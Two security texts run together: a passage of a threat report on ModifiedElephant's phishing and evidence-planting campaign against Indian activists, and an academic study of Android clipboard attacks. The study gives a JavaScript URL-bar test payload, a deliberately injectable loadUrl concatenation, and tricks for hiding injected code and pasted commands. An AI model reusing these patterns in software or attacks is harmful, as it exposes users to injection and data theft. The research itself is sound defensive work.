scrutiny. Long-standing racial and political tensions in India were inflamed on January 1st, 2018, when critics of the government clashed with pro-government supporters near Bhima Koregaon. The event led to subsequent protests, resulting in more violence and at least one death. In the following months, Maharashtra police linked the cause of the violence to the banned Naxalite-Maoist Communist party of India. On April 17th, 2018, police conducted raids and arrested a number of individuals on terrorism-related charges. The arresting agencies identified incriminating files on the computer systems of defendants, including plans for an alleged assassination attempt against Prime Minister Modi. Thanks to the public release of digital forensic investigation results by Arsenal Consulting, we can glean rare insights into the integrity of the systems of some defendants and grasp the origin of the incriminating files. It turns out that a compromise of defendant systems led to the planting of files that were later used as evidence of terrorism and justification for the defendants’ imprisonment. The intrusions in question were not isolated incidents. Our research into these intrusions revealed a decade of persistent malicious activity targeting specific groups and individuals that we now attribute to a previously unknown threat actor named ModifiedElephant. This actor has operated for years, evading research attention and detection due to their limited scope of operations, the mundane nature of their tools, and their regionally-specific targeting. ModifiedElephant is still active at the time of writing. ## ModifiedElephant Targets & Objectives The objective of ModifiedElephant is long-term surveillance that at times concludes with the delivery of ‘evidence’—files that incriminate the target in specific crimes—prior to conveniently coordinated arrests. After careful review of the attackers’ campaigns over the last decade, we have identified hundreds of groups and individuals targeted by ModifiedElephant phishing campaigns. Activists, human rights defenders, journalists, academics, and law professionals in India are those most highly targeted. Notable targets include individuals associated with the Bhima Koregaon case. ## Infection Attempts Throughout the last decade, ModifiedElephant operators sought to infect their targets via spearphishing emails with malicious file attachments, with their techniques evolving over time. Their primary delivery mechanism is malicious Microsoft Office document files weaponized to deliver the malware of choice at the time. The specific payloads changed over the years and across different targets. However, some notable trends remain. - In mid-2013, the actor used phishing emails containing executable file attachments with fake double extensions (filename.pdf.exe). - After 2015, the actor moved on to less obvious files containing publicly available exploits, such as .doc, .pps, .docx, .rar, and password protected .rar files. These attempts involved legitimate lure documents in .pdf, .docx, and .mht formats to captivate the target’s attention while also executing malware. - In 2019 phishing campaigns, ModifiedElephant operators also took the approach of providing links to files hosted externally for manual download and execution by the target. - As first publicly noted by Amnesty in reference to a subset of this activity, the attacker also made use of large .rar archives (up to 300MB), potentially in an attempt to bypass detection. Observed lure documents repeatedly made use of CVE-2012-0158, CVE-2014-1761, CVE-2013-3906, CVE-2015-1641 exploits to drop and execute their malware of choice. The spearphishing emails and lure attachments are titled and generally themed around topics relevant to the target, such as activism news and groups, global and local events on climate change, politics, and public service. A public deconstruction of two separate 2014 phishing emails was shared by Arsenal Consulting in early 2021. ModifiedElephant continually made use of free email service providers, like Gmail and Yahoo, to conduct their campaigns. The phishing emails take many approaches to gain the appearance of legitimacy. This includes fake body content with a forwarding history containing long lists of recipients, original email recipient lists with many seemingly fake accounts, or simply resending their malware multiple times using new emails or lure documents. Notably, in specific attacks, the actor would be particularly persistent and attempt to compromise the same individuals multiple times in a single day. By reviewing a timeline of attacker activity, we can observe clear trends as the attacker(s) rotate infrastructure over the years. ## Weapons of Choice The malware most used by ModifiedElephant is unsophisticated and downright mundane, and yet it has proven sufficient for their objectives–obtaining remote access and unrestricted control of victim machines. The primary malware families deployed were NetWire and DarkComet remote access trojans (RATs). Both of these RATs are publicly available and have a long history of abuse by threat actors across the spectrum of skill and capability. One particular activity revolves around the file Ltr_1804_to_cc.pdf, which contains details of an assassination plot against Prime Minister Modi. A forensic report by Arsenal Consulting showed that this file, one of the more incriminating pieces of evidence obtained by the police, was one of many files delivered via a NetWire RAT remote session that we associate with ModifiedElephant. Further analysis showed how ModifiedElephant was performing nearly identical evidence creation and organization across multiple unrelated victim systems within roughly fifteen minutes of each other. ## Incubator Keylogger Known victims have also been targeted with keylogger payloads stretching as far back as 2012. These keyloggers, packed at delivery, are written in Visual Basic and are not the least bit technically impressive. Moreover, they’re built in such a brittle fashion that they no longer function. The overall structure of the keylogger is fairly similar to code openly shared on Italian hacking forums in 2012. Further details of the ModifiedElephant variant can be found in our full report. In some cases, the attacker conducted multiple unique phishing attempts with the same payloads across one or more targets. However, ModifiedElephant generally conducts each infection attempt with new malware samples. ## Android Trojan ModifiedElephant also sent multiple phishing emails containing both NetWire and Android malware payloads at the same time. The Android malware is an unidentified commodity trojan delivered as an APK file. While the Android trojan bears marks of being designed for broader cybercrime, its delivery at the same time as ModifiedElephant NetWire samples indicates that the same attacker was attempting to get full coverage of the target on both endpoint and mobile. ## Relations to Other Threat Clusters Our research into this threat actor reveals multiple interesting threads that highlight the complex nature of targeted surveillance and tasking, where multiple actors swoop in with diverse mechanisms to track the same group of individuals. These include private sector offensive actors (PSOAs) and groups with possible commercial facades to coordinate their illicit activities. Based on our analysis of ModifiedElephant, the group operates in an overcrowded target space and may have relations with other regional threat actors. From our visibility, we can’t further disambiguate the shape of that relationship–whether as part of an active umbrella organization, cooperation and sharing of technical resources and targets across threat groups, or simply coincidental overlaps. Some interesting overlaps are detailed below. - Multiple individuals targeted by ModifiedElephant over the years have also been either targeted or confirmed infected with mobile surveillance spyware. Amnesty International identified NSO Group’s Pegasus being used in targeted attacks in 2019 against human rights defenders related to the Bhima Koregaon case. Additionally, the Bhima Koregaon case defendant Rona Wilson’s iPhone was targeted with Pegasus since 2017 based on a digital forensics analysis of an iTunes backup found in the forensic disk images analyzed by Arsenal Consulting. - Between February 2013 and January 2014, one target, Rona Wilson, received phishing emails that can be attributed to the SideWinder threat actor. The relationship between ModifiedElephant and SideWinder is unclear as only the timing and targets of their phishing emails overlap within our dataset. This could suggest that the attackers are being provided with similar tasking by a controlling entity, or that they work in concert somehow. SideWinder is a threat actor targeting government, military, and business entities primarily throughout Asia. - ModifiedElephant phishing email payloads share infrastructure overlaps with Operation Hangover. Operation Hangover includes surveillance efforts against targets of interest to Indian national security, both foreign and domestic, in addition to industrial espionage efforts against organizations around the world. - Another curious finding is the inclusion of the string “Logs from Moosa’s” found in a keylogger sample closely associated with ModifiedElephant activity in 2012. The string could be a reference to Moosa Abd-Ali Ali, the Bahrain activist targeted around the same time, with FinFisher spyware. Without greater information, we treat this as a low confidence conjecture in need of greater research. ## Attribution Attributing an attacker like ModifiedElephant is an interesting challenge. At this time, we possess significant evidence of what the attacker has done over the past decade, a unique look into who they’ve targeted, and a strong understanding of their technical objectives. We observe that ModifiedElephant activity aligns sharply with Indian state interests and that there is an observable correlation between ModifiedElephant attacks and the arrests of individuals in controversial, politically-charged cases. ## Conclusion The Bhima Koregaon case has offered a revealing perspective into the world of a threat actor willing to place significant time and resources into seeking the disruption of those with opposing views. Our profile of ModifiedElephant has taken a look at a small subset of the total list of potential targets, the attackers' techniques, and a rare glimpse into their objectives. Many questions about this threat actor and their operations remain; however, one thing is clear: Critics of authoritarian governments around the world must carefully understand the technical capabilities of those who would seek to silence them.
# Attacks on Android Clipboard **Xiao Zhang and Wenliang Du** Dept. of Electrical Engineering & Computer Science, Syracuse University, Syracuse, New York, USA {xzhang35, wedu}@syr.edu ## Abstract In this paper, we perform a thorough study on the risks posed by the globally accessible Android Clipboard. Based on the risk assessment, we formulate a series of attacks and categorize them into two groups: manipulation and stealing. Clipboard data manipulation may lead to common code injection attacks, like JavaScript injection and command injection. Furthermore, it can also cause phishing attacks, including web phishing and app phishing. Data stealing happens when sensitive data copied into the clipboard is accessed by malicious applications. For each category of attack, we analyze a large number of candidate apps and show multiple case studies to demonstrate its feasibility. Our app analysis process is formulated to benefit future app development and vulnerability detection. After a comprehensive exposure of the risk, we briefly discuss some potential solutions. ## 1. Introduction Android was developed by Google in 2008 and officially took over as the mobile market leader in the fourth quarter of 2010. One reason for its rapid growth is the availability of a wide range of feature-rich applications. Different from Apple, Google does not impose a thorough scrutinizing process on applications submitting to the official Android market (Google Play). Moreover, Google allows the existence of numerous alternative third-party app stores. While this strategy has been proven successful and resulted in today’s dominance of the Android platform, it also puts some system components, i.e., Clipboard, under risk. ### Security risks on Android Clipboard The most interesting characteristic of Android Clipboard is its globally accessible nature, i.e., everything placed on the clipboard is public and accessible to all the running apps on the device without any permission requirements or user interactions. Android even allows apps to monitor data changes on the clipboard by registering a callback listener to the system. This is not a severe security problem in the desktop environment, since its clipboard is user-driven and a window should transfer data to or from the clipboard only in response to a command from the user. In contrast, Android considers each app as a different user with different privileges. Due to the global unguarded access, various users (apps) can arbitrarily operate on Android Clipboard without any restriction. The limited screen size of mobile devices exacerbates the situation. Users are much more likely to copy and paste data on mobile devices to save typing efforts. Furthermore, fewer characters will be visible to users after pasting the content from the clipboard to the app, easing attackers’ efforts in hiding their attacks. Another advantage for attackers targeting Android Clipboard is the lack of security consideration in common app development. ### Our findings To understand the current security situation on Android Clipboard, we have conducted the first systematic study of clipboard usage in benign and malicious apps. Our malware sample consists of 3,987 malware apps collected from different sources. The benign sample consists of the top 500 free apps in each category in Google Play (around 16,000 apps), collected in July 2012. Our analysis shows that 1,180 benign apps provide the functionality to put data on the clipboard, while 8 malware apps try to retrieve data from the clipboard. Due to the open access, those 8 malware apps could easily steal whatever information leaked from the mentioned benign apps. At the same time, we also find that 384 benign apps can get data from the clipboard. However, around 60 malware apps are capable of manipulating the data on the clipboard. If a benign app takes the clipboard data for execution without proper checking, any of the 60 malware apps could possibly launch code injection attacks. Based on the risk assessment, we have formulated a series of attacks and categorized them into two groups: manipulation and stealing. Clipboard data manipulation may lead to code injection attacks, like JavaScript injection and command injection. For the JavaScript injection case, we first analyzed popular Android browser apps, and our result shows that 9 out of 11 are vulnerable. We also found one vulnerable Samsung app, which takes search strings from users and appends them to internal JavaScript code for execution without proper validations. If the search string is pasted from the infected clipboard, malicious apps can potentially interfere with the future behavior of the vulnerable Samsung app. For the command injection case, we studied 6 popular terminal apps available on Google Play, and all of them blindly take commands from the clipboard without any scrutiny. Another group of attacks is data stealing, which happens when sensitive data is copied to the clipboard. To demonstrate the severity of the attack, we conducted case studies on three main types of sensitive data on mobile devices: Contacts, Calendar, and Messages. For each category, we identified several vulnerable apps. ## 2. Short Tutorial on Android Clipboard On the Android platform, the clipboard is a powerful framework to support various types of data copy and paste within an app as well as among apps. To copy a certain type of data, a corresponding clip object (ClipData) is constructed and placed on the clipboard if the required permission is granted to the app. The clipboard holds only one clip object at a time. When an app puts a clip object on the clipboard, the previous clip object is erased. To paste data, the app retrieves the clip object and selectively handles the resolved data based on its MIME type. Different from copying data to the clipboard, no permissions are required for an app to access the content from the clipboard. Moreover, apps can even monitor primary clip changes by registering a listener callback. ClipManager is responsible for managing the copying, monitoring, and pasting operations on the clipboard. Applications can simply access the ClipManager without requiring any specific permission. ```java ClipboardManager mClipboard = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE); ``` ## 3. Threat Models The attacks discussed in this paper are categorized into two models based on the operations performed by malicious applications on the clipboard data: manipulation and stealing. This section provides a high-level overview of these two models. ### Manipulation We study how malicious apps can interfere with other apps’ execution by manipulating the data on the clipboard. In this attack model, we assume that the malicious app is installed on the same device as the victim app. The assumption is not very difficult to satisfy. Any app potentially can perform the attack, since it does not require any permission to access the clipboard on Android. The malicious app keeps monitoring the data change on the clipboard. Once the copying operation is performed either by some other benign apps or the user, the malicious app can selectively manipulate the data. When the modified data is pasted to the same or another app and that app’s future behavior depends on the pasted data, the attack succeeds. For web-based apps, attackers can try to inject JavaScript to achieve various damages. For terminal apps, malicious commands may be injected to local/remote servers for execution. Attackers can even perform phishing attacks on social websites as well as their applications. ### Stealing We study how malicious apps can steal user’s private information, leading to data leakage attacks. The assumption for this threat model is the same as the previous one. However, instead of manipulating the data, the attacker tries to detect user’s private data on the clipboard and steals it. The attack will cause more damage if the data on this clipboard is a URI or Intent, which serves as an identifier to user’s private information, such as Contacts, Calendar, or Messages. Although this may sound less likely to happen, the above requirement is not difficult to achieve at all. Firstly, it is not rare for users to copy their username or even password to the clipboard. Secondly, many apps available on Google Play allow users to perform private data copying and pasting, leaving plenty of attacking opportunities for malicious apps. ## 4. Injection Attacks - JavaScript ### 4.1 JavaScript on Mobile Browser’s URL Bar An emerging trend among all browsers is the combination of searching and navigating from the same box, referred to as URL Bar in this paper. When users are attracted by something they see on the web, they can type, or more commonly, copy and paste it into the URL Bar to directly search for more information about it. Considering that Android Clipboard is globally accessible to all the apps on the same device without requiring any permission, a malicious app can modify the content on the clipboard and inject malicious JavaScript code with some small tricks to hide the attack from the user’s attention. The success of the attack relies on the browser setting of JavaScript execution in the URL Bar and the trick applied by attackers to hide themselves from the victims. To study the influence of such attacks, we systematically analyzed the default setting of the built-in Android browser and other top 10 browsers on Google Play. The testing device is Samsung Galaxy Nexus running Android 4.3 (JELLY BEAN). We manually installed each browser app and typed the following JavaScript into its URL Bar: ```javascript javascript:alert('AndroidClipboardAttacks'); ``` If an alert window is displayed, we conclude that the browser allows JavaScript execution in its URL Bar by default. We also studied the maximal characters visible on the URL Bar for each browser. Different from desktop browsers that usually disallow pasting JavaScript code to the URL Bar, all the studied mobile browsers allow such an operation. However, Firefox and UC Browser do not support JavaScript execution directly from the URL Bar, making themselves immune to such attacks. To hide the attack from users’ attention, attackers could simply add enough blank spaces before the malicious code. The number of blank spaces depends on the largest number of visible characters in each browser’s URL Bar. The goal is to make the malicious code invisible to victim users unless they scroll down to check all the characters in the URL bar. | Android Browser Apps | # of Installs | JavaScript Execution | Visible Chars | |------------------------------|---------------------------|----------------------|---------------| | Built-in Browser | N/A | < 26 | | | Firefox | > 10,000,000 | < 33 | | | Dolphin | > 10,000,000 | < 20 | | | ONE | > 1,000,000 | < 23 | | | Opera Mini | > 50,000,000 | < 40 | | | UC Browser | > 10,000,000 | < 29 | | | Chrome | > 100,000,000 | < 33 | | | Opera | > 10,000,000 | < 33 | | | Dolphin Mini | > 1,000,000 | < 24 | | | Maxthon | > 1,000,000 | < 25 | | | Boat | > 1,000,000 | < 23 | | To launch the attack, the malicious apps simply implement a service that defines a listener callback inside. The callback is invoked whenever the primary clip on the clipboard changes, allowing attackers to inject JavaScript code. The attacking types include but are not restricted to session hijacking, confused deputy, integrity compromise, and privacy leakage. However, the damage is limited to the current domain because of the Same Origin Policy (SOP). To demonstrate each type of attack, we manually installed the latest stable phpBB version (3.0.11) on a Dell OPTIPLEX 760 desktop running Ubuntu 12.04. Except for Firefox and UC Browser that do not allow JavaScript execution in their URL Bar, all the other browsers are vulnerable to the mentioned attacks. In the following sections, all the sample attacks are conducted in Google Chrome on the testing mobile device, unless otherwise specified. #### Session Hijacking The attacking steps follow exactly the same as in the previous example, with the malicious JavaScript sending the victim’s cookies to the remote server. After that, the attacker can gain unauthorized access to the victim’s entire account. It should be noted that the current stable phpBB version (3.0.11) has already implemented several mechanisms to prevent against session hijacking attacks, including HttpOnly cookie, session IP validation, and browser validation. During the demonstration, we manually turned off the three protections. However, the following Confused Deputy attack does not require the adjustments on the phpBB3 server and can still achieve the same damage. #### Confused Deputy Since JavaScript execution in the URL Bar is under the same context of the current page, the attacker can send malicious requests from there to the remote server, and valid cookies will be automatically appended by the browser. It is impossible for the remote server to distinguish the malicious requests from benign ones, leading to the Confused Deputy attack. All the mentioned protection mechanisms in phpBB3 will be defeated as well since malicious requests are sent from exactly the same browser (defeating browser validation) on the same mobile device (defeating session IP validation) with all the valid cookie values appended (defeating HttpOnly cookie). #### Integrity Compromise In this scenario, the attacker can modify the value of any field on the current page in an unauthorized or undetected manner. Even though the correct value will recover after refreshing the page, data integrity has already been compromised since accuracy and consistency of data cannot be maintained and assured over its entire life-cycle. #### Privacy Leakage With the JavaScript injection attack on mobile browsers’ URL Bar, attackers are able to steal sensitive information from victims, leading to Privacy Leakage. The most straightforward attack tries to steal the information of the browser itself, including type, version, resolution, history, and bookmarks. Moreover, leveraging HTML5 technology, advanced attackers could also steal the victim’s GeoLocation information and everything stored in the local storage. ### 4.2 Cross Site Scripting (XSS) Attack Different from normal XSS attacks, the clipboard-based XSS attack happens when the victim pastes malicious JavaScript code (manipulated by attackers) into a vulnerable app. As a result, the data pasted from the clipboard reflects the purpose of malicious attackers, while the operations are still conducted by the trusted device owner. In our study, we found one vulnerable Android app, which has more than 1,000,000 installs. The app itself is developed using standardized web APIs based on the PhoneGap framework, and thus compatible with various mobile platforms, such as iOS, Android, Windows OS, etc. Unfortunately, its user profile form has XSS vulnerability. When the owner is creating or updating his/her profile, if the content is pasted from the clipboard, malicious apps could launch XSS attacks targeting the victim app. ### 4.3 Cross Origin Invocation Attack Both Android and iOS support the scheme mechanism, through which cross-origin invocation becomes possible, i.e., an app (origin: application) could be invoked by a URL (origin: web) once it registers the URL’s scheme. On Android, registration happens by simply declaring an intent filter in the app’s manifest file. For example, an activity with `android:scheme="fbconnect"` inside its intent filter could be launched by `fbconnect://...` typed links. Previous studies have demonstrated the possibility of unauthorized origin crossing attacks on popular Android apps, such as Facebook and Dropbox. Those attacks either need to invoke the browser to load a Dialog URL (Facebook) or trick the victim user to click on a malicious link (Dropbox). However, the attacking techniques on the clipboard discussed in this paper bring in another way to conduct such attacks. Malicious apps could simply replace the clipboard content with the malicious JavaScript code, which simulates a URL redirecting event to the malicious scheme. Once the code is pasted into the browser’s URL bar, all the attacks work the same way. ### 4.4 Dynamic Page Construction The behavior of pure client-side web apps entirely depends on user interactions. The sanitizing technique is less likely to be applied since the input is provided by the “trusted” device owner and will only stay within the app itself. However, if the data is copied from the infected clipboard, attackers could potentially trigger the victim apps to perform privileged operations, assuming corresponding permissions are granted to the victim app in advance. In our study, we analyzed PhoneGap-based apps that do not have a server side. The reason is that, as an appealing framework for developers targeting multiple mobile platforms, PhoneGap is relatively new and few security concerns have been brought into developers’ consideration. The first step of our analysis is to select candidate apps that potentially have vulnerabilities. For that purpose, we download all the Android apps listed on the PhoneGap homepage and exclude the ones requiring an account on the server side. After that, we search each app for web pages dynamically constructed from user input. The work could be eased with proper static JavaScript analysis tools. However, due to the dynamic feature of JavaScript as a programming language, existing static analysis tools are only able to serve as syntax checkers and validators. Considering the small number of the candidate apps, we decided to manually analyze them one by one, instead of inventing a complicated tool ourselves. Finally, we paste malicious JavaScript code to vulnerable apps to determine whether they are indeed vulnerable. One vulnerable app, called “Get It Done Task List,” is found in our dataset, which has roughly 50,000 installs. It is a simple but powerful to-do list and project manager, which allows each project to be assigned with a tag, and multiple tags can be managed together as a “Smart Group.” When creating a smart group, the user first selects desired tags. Then the next web page is dynamically constructed with all the selected tag names. Due to the lack of sanitizing, if the tag name comes from infected clipboard data, attackers could inject malicious JavaScript code and take advantage of all the registered JavaScript interfaces inside the victim app. ### 4.5 SQL-Type Code Injection In Android, web browsing within apps is eased by the WebView technique, which packages basic functionalities of browsers, such as page rendering, navigation, and JavaScript execution into a class. Applications requiring these browser functionalities can simply include the WebView library and create an instance of the WebView class. By doing so, apps essentially embed a basic browser in them and can thus use it to display web contents and interact with the Web. The interaction is bidirectional: an app can register JavaScript interfaces to its WebView component so that in the future, web pages can access the app’s functionalities and resources; an app can also directly load JavaScript into WebView via `loadUrl()` API. In this section, we only focus on the risks from apps to their WebView components. However, advanced attackers could use the other interaction channel to communicate back and thus cause damage on the app side. The JavaScript code loaded to WebView could be pre-defined in the app’s source code. Sometimes, however, the need to dynamically construct JavaScript code and load it to WebView is also legitimate. For example, an app may choose to use the following JavaScript to provide search functionality on the loaded web pages in its WebView component: ```java wv.loadUrl("javascript:search(" + input + ");"); ``` In the example code, `search()` is a JavaScript API that takes user input as the search string and returns its occurrence. However, the user-provided search string is not filtered for escape characters. If the user pastes the search string from the clipboard, attackers could potentially inject malicious JavaScript code into the vulnerable app, which results in manipulation of the statement running on the web pages. This attacking technique is quite similar to the well-studied SQL injection attack, in which malicious SQL statements are inserted into an entry field for execution. ### JSGuard Design and Implementation There are three key observations from the vulnerable code above. The first one is regarding the app architecture. It must have a WebView component incorporated and directly execute JavaScript code on loaded web pages. The second observation is the specific pattern of the loaded JavaScript code, which combines pre-defined code, as well as user input obtained during runtime. The last one is the lack of scrutiny on the user-provided JavaScript code segment. With all three observations in mind, we have developed an analysis tool, called JSGuard, to detect this vulnerability in Android apps on a large scale. JSGuard is based on Androguard, which provides rich functionalities to retrieve various app resources from its APK file. JSGuard contains 160 Lines Of Code (LOC) written in Python, and its underlying logic is depicted in the following figure. The input is the same app set as used in our clipboard usage analysis. In the detection phase, we first check the existence of WebView libraries inside candidate apps. To do that, we open each APK file, disassemble its classes.dex file, and search for the WebView class from included packages. Similarly, the use of `loadUrl()` API can also be examined. However, to determine whether `loadUrl()` is used to load normal web URLs or JavaScript, we have to further decompile the function in which `loadUrl()` API is invoked, extract the source code, and match “javascript” with the start of `loadUrl()` argument. Applications with JavaScript inside `loadUrl()` are not necessarily vulnerable since the JavaScript could be pre-defined. The challenge is how to detect dynamically constructed JavaScript in our static analysis. Our solution comes from another observation of the decompiled source code: concatenation of String, which is achieved using “+” operator or “concat” API in Java, are both decompiled as `.append()`. It should be noted that our detection algorithm tries to reduce the false negative as much as we can but may mislabel secure apps. From the security perspective, however, it is more tolerable to have an absolutely secure app labeled as vulnerable for future verification than a vulnerable app that is considered secure and put on the market. Once apps are identified as containing patterned JavaScript, we manually verify the potential vulnerabilities inside by launching the SQL-type JavaScript injection attacks mentioned above. The manual verification experience could further help to improve our detection algorithm. For example, several apps are mislabeled as vulnerable because of the suspicious JavaScript code pattern inside the incorporated Admob advertising libraries. However, the appended string comes from pre-defined advertisement settings, and there is no way for an attacker to inject malicious code. ### Analysis Results and Case Studies The detection phase takes around 42 hours to finish, with an average of 20 seconds spent on each app. The result shows that the use of WebView is pervasive. More than 58% of the analyzed apps also use `loadUrl()` API to execute JavaScript code directly inside web pages. Even if only considering apps with the vulnerable JavaScript pattern, 1,098 (9.4%) need further verification. In our study, we randomly select 100 out of the 1,098 apps and verify the existence of vulnerabilities manually. Two representative vulnerable apps are found. The first one is an e-book called “Marine Martial Arts MCRP 3-02B,” which has roughly 500,000 installs and uses WebView to display the book content. The second one is an official Samsung app named “Smart TV Now” for its Smart TV product. Currently, the app has more than 500,000 installs on the Google Play market. More importantly, it is developed by Samsung developers, who are labeled as “TOP DEVELOPERS” on Google Play. Both vulnerabilities are caused by the “Search Box” inside the app, which enables users to type in the search text and then conduct the search operation. The implementation of the search feature is identical to the example JavaScript code above. If the victim pastes the search string from the clipboard, the attacker could potentially inject malicious JavaScript code or invoke registered JavaScript interfaces inside the app. ## 5. Injection Attacks - Command The computing power brought by mobile devices is becoming as competitive as normal desktops, but in the palm of our hands or in our pockets. Now they are not only considered cellphones but more often tools to help people finish complicated tasks in their daily life and work. In Android, terminal apps are widely available on various markets. Based on provided functionalities, they usually fall into three different categories: Remote Terminal can be used to establish a connection with remote servers; Device Terminal enables access to Android’s built-in Linux command line shell; Combined Terminal incorporates both functionalities mentioned above. Due to the general lack of physical keyboard on mobile devices and the complexity of command composition, most terminal apps support command copy and paste in common. However, the support is blind, and the source of the pasted command is never validated. It could be either from a legitimate user copy or from the polluted copy already manipulated by attackers. In our study, a total of six popular Android terminal apps are selected and evenly distributed to each of the three categories. Among them, Android Terminal Emulator is the only one that does not support in-app command copy. However, there are various other sources, such as emails and websites, where victim users can copy commands. The most important observation from the study is that all these selected apps allow users to paste and execute commands within their terminals. If the pasted commands have been manipulated by malicious apps installed on the same device, depending on the type of the current connection session, various attacks could be launched against the remote server or even the Android device itself. The damage caused by vulnerable remote terminal apps on the connected server is self-explanatory. Basically, attackers could potentially take full control of the remote server, steal private data, or even delete all the important content. On the other hand, if malicious commands are pasted to the Android Debug Bridge (adb) shell provided in device/combined terminal apps, attackers could successfully perform any built-in operations, assuming the device is rooted so that each app is running with root privilege. Otherwise, the attacker’s capability will be restricted by the permission set granted to the victim app. Attackers could also hide themselves from user consent by appending a newline symbol and the “clear” command. While the newline symbol will force the execution of malicious commands immediately after the user’s paste operation, the “clear” command will remove the execution history from the current terminal window. | Application Name | Type | # of Installs | Copy | |--------------------------------------|-------------------|---------------------------------|------| | Android Terminal Emulator | Device Terminal | 5,000,000 - 10,000,000 | Yes | | ConnectBot | Remote Terminal | 1,000,000 - 5,000,000 | Yes | | Android Terminal | Device Terminal | 100,000 - 500,000 | Yes | | JuiceSSH - SSH Client | Combined Terminal | 100,000 - 500,000 | Yes | | Terminal IDE | Combined Terminal | 100,000 - 500,000 | Yes | | Server Auditor - SSH client | Remote Terminal | 10,000 - 50,000 | Yes | ## 6. Injection Attacks - Phishing Phishing attacks, known as attempts to acquire sensitive information by masquerading as a trustworthy entity, have increased exponentially in recent years. Despite common phishing techniques, Android Clipboard makes it easier for attackers to successfully launch phishing attacks, since mobile users perform much more copy-paste operations compared to the desktop environment, leaving attacks plenty of opportunities to redirect users to malicious entities. Based on different targets, we categorize phishing attacks on Android devices. ### Social Website Phishing Entry-level attackers could simply replace all the URLs copied to the clipboard with desired ones, leading to massive advertising. The assumption is that copied URLs are always lengthy and complicated, so that it is extremely difficult for users to notice the URL differences before hitting “Enter.” However, advanced attackers may selectively replace matched URLs copied to the clipboard. In this case, even if URLs are short and easy to distinguish, attackers could leverage some common tricks, such as misspelled URLs, to succeed in phishing attacks. ### Social Application Phishing Phishing attacks on mobile platforms could also be connected with malicious apps using the scheme mechanism. Firstly, all the URLs could be replaced with Google Market scheme, tricking installation of malicious apps from victim users. Moreover, attackers could design a large number of activities in their malicious apps, with each activity representing one targeted social app’s appearance. For example, any app on the device could design an activity that looks exactly like the login page in the official Facebook app. When a URL belonging to the Facebook domain is copied to the clipboard, that app replaces it with the proper scheme that could launch its Facebook-like activity. Most likely, victim users would type in their Facebook account information, since they are expecting something to happen from Facebook, either in the browser or from the “Facebook” (phishing) app. ## 7. Data Leakage Attacks Considering various types of sensitive information stored on mobile devices: once they are copied to the clipboard, malicious apps could easily steal the user’s private information. In this section, we conduct case studies on three main types of sensitive data on mobile devices to demonstrate the severity of the attack. For each category, we select the top 30 free apps on Google Play and study the possibility of sensitive data leakage. As the result shows, three (10%) of the studied third-party Android Contact apps have clipboard support, while four (13.3%) of the studied third-party Android Calendar apps, with at least 2,600,000 installs in total, support event copying. The situation becomes even worse when it comes to messaging. All the studied messenger apps, including the built-in one on Android, allow message copying and pasting. Due to page limits, the table leaves out their names. Once the messages are copied and placed on the clipboard, malicious apps could access them without declaring the READ_SMS permission. | Contact (3/30) | Rank | # of Installs | |-------------------------------------|------|---------------------------------| | DW Contacts & Phone & Dialer | 8 | 1,000,000 - 5,000,000 | | Contact Picker 2.3 | 9 | 5,000,000 - 10,000,000 | | Phone Book Contacts | 21 | 100,000 - 500,000 | | Calendar (4/30) | Rank | # of Installs | |-------------------------------------|------|---------------------------------| | Business Calendar Free | 6 | 1,000,000 - 5,000,000 | | PETATTO CALENDAR | 14 | 1,000,000 - 5,000,000 | | DigiCal Calendar & Widgets | 20 | 500,000 - 1,000,000 | | Gemini Calendar | 23 | 100,000 - 500,000 | | Messenger | Rank | # of Installs | |-------------------------------------|------|---------------------------------| | ALL | N/A | N/A | ## 8. Discussion Unlike the desktop environment, Android treats each app as a different user with different privileges. However, a similar design for the desktop clipboard is blindly moved to the Android platform without corresponding changes to accommodate its different security model. In this section, we discuss several potential solutions from different perspectives for protecting the clipboard from being abused. ### From the User Perspective In the current Android implementation, when the user copies data into the clipboard, an alert is displayed. However, the alert is missing when an app silently manipulates or steals the data using the clipboard APIs. We argue that a similar warning message, which displays the calling app’s information, may help users detect malicious apps’ suspicious behaviors. Then the user can either refuse to paste the injected data from the clipboard or simply uninstall the calling app. This protection, however, is passive, which solely depends on users’ awareness of security and privacy. ### From the Developer Perspective There is always a battle between app features and security considerations. For example, three studied Contacts apps add the integral Contact copy feature to enrich their functionalities and thus attract more users. However, their security is compromised since they accidentally leak private data to malicious apps. It is challenging to ask app developers to sacrifice even one feature for security enhancement. In the specific clipboard case, to protect themselves from injection attacks, we suggest developers to do further validation on fields that could take input from the clipboard paste. ### From the Android System Perspective SEAndroid and FlaskDroid both proposed a flexible Mandatory Access Control (MAC) framework for Android. One advantage of MAC is the ability to confine privileged Android system daemons and access to system resources by apps. By extending their policy enforcement, access to the clipboard service could be restricted to certain apps. ## 9. Related Work ### 9.1 Desktop Clipboard Security Attacks caused by the clipboard in the desktop environment have been observed in the past few years, such as self-XSS attacks and hijacking attacks through Adobe Flash-based ads. Several solutions have been proposed and implemented to mitigate the problems above. However, it has been demonstrated that attackers are still able to bypass the protection on Chrome. Our work is similar to them in exploiting vulnerabilities inside an app via the clipboard. However, our work differs from them in four aspects: - **Platform**: We focus on mobile platforms, specifically Android. Compared to the desktop environment, mobile devices contain more sensitive data of the user, and thus any security compromise will infer larger damage on victim users. - **Attack Efforts**: To carry out the attacks on Desktop, significant social engineering efforts are involved to trick victim users to conduct desired operations. In contrast, any application installed on the same Android mobile device could potentially launch the attack without requiring any special privilege. - **Attack Surface**: The attacking surface on mobile devices is larger than on desktop. The attacks on the desktop clipboard only target browser or web-based apps. However, in our work, many other apps, such as terminal apps, Contacts apps, Calendar apps, etc., have been demonstrated to be vulnerable to attacks through Android Clipboard. - **Solutions**: Google and other big companies have taken the lead to fix the clipboard problem in the desktop environment. However, equivalent efforts are missing on mobile platforms. Moreover, existing solutions on the desktop environment are limited to specific apps. In our work, we discuss several initial thoughts on fixing the problem on mobile platforms in general. ### 9.2 Android System Security As a relatively new platform, Android is evolving quickly and has attracted lots of attention from various research groups. A number of studies have been conducted on the Android system with different security focuses: - **System/Application Vulnerabilities**: Several vulnerabilities have been identified on the Android system and applications in recent years. Our work focuses on the risk imposed by a different system component, i.e., Clipboard, in Android, but at the same time, brings in another way to conduct such attacks. Privilege escalation is another important problem in Android. - **Privacy Protection**: Another line of research on smartphone security is devoted to protecting users’ private information. Our work differs from them by focusing on the clipboard. Moreover, data leakage attacks mentioned in this paper are based on normal apps’ legitimate functionalities and do not require any permissions from malicious apps. However, techniques from existing work can be applied to detect unauthorized access to the Android Clipboard. ## 10. Conclusion In this paper, we assess the current security situation of Android Clipboard by examining its usage in 16,000 benign apps and 3,987 malicious apps. Based on the risk 